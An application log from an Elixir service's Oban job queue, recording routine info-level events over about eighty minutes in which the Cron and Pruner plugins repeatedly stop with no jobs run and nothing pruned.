08:06:00.755 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:21.901 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:51.902 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.757 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:21.904 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:51.906 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.757 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:21.907 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:51.908 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.758 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:21.909 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:51.910 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.759 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:21.911 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:51.913 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.760 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:21.914 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:51.915 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.761 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:21.917 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:51.917 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.762 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:21.919 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:51.920 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.763 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:21.921 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:51.922 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.764 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:21.923 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:51.925 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.765 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:21.927 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:51.929 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.766 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:21.930 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:51.931 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.768 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:21.932 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:51.933 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.768 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:21.935 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:51.936 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.769 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:21.938 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:51.939 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.770 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:21.940 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:51.941 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.771 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:21.942 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:51.943 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.773 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:21.944 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:51.945 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.773 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:21.946 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:51.947 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.774 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:21.948 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:51.949 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.775 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:21.950 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:51.951 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.776 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:21.952 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:51.954 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.777 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:21.955 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:51.957 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.778 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:21.958 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:51.959 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.780 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:21.960 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:51.961 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.780 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:21.962 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:51.963 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.781 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:21.964 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:51.965 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.782 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:21.966 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:51.967 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.783 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:21.968 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:51.969 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.784 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:21.970 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:51.971 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.785 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:21.973 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:51.974 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.786 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:21.975 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:51.976 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.787 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:21.977 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:51.978 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.788 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:21.980 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:51.981 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.790 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:21.982 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:51.983 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.790 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:21.984 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:51.985 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.791 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:21.986 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:51.987 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.792 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:21.988 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:51.989 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.793 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:21.991 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:51.992 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.794 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:21.993 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:51.994 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.795 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:21.995 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:51.997 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.796 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:21.998 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:52.000 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.798 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:22.001 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:52.002 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.798 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:22.003 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:52.004 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.799 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:22.005 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:52.006 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.800 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:51:22.007 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:52.008 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.801 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:52:22.010 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:52.011 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.802 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:53:22.012 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:52.013 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.803 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:54:22.014 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:52.016 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.805 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:55:22.017 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:52.019 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.806 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:56:22.020 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:52.021 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.806 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:57:22.022 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:52.023 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.807 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:58:22.024 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:52.025 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.808 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:59:22.026 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:52.028 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.809 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:00:22.029 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:52.030 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.810 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:01:22.031 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:52.032 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.811 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:02:22.033 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:52.034 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.812 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:03:22.035 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:52.037 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.813 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:04:22.039 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:52.041 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.814 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:05:22.042 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:52.043 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.815 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:06:22.044 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:52.046 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.816 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:07:22.047 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:52.048 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.817 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:08:22.050 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:52.051 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.818 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:09:22.052 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:52.053 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.819 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:10:22.054 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:52.055 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.820 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:11:22.056 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:52.057 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.821 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:22.058 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:52.059 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.822 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:22.060 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:52.061 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.823 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:22.062 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:52.064 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.825 [info] {"source":"oban","duration":411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:22.065 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:52.066 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.825 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:22.067 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:52.069 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.826 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:22.070 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:52.071 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.827 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:22.072 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:52.073 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.829 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:22.074 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:52.075 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.829 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:22.077 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:52.078 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.830 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:22.079 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:52.080 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.831 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:22.081 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:52.082 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.833 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:22.083 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:52.084 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.833 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:22.085 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:52.087 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.834 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:22.088 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:52.089 [info] 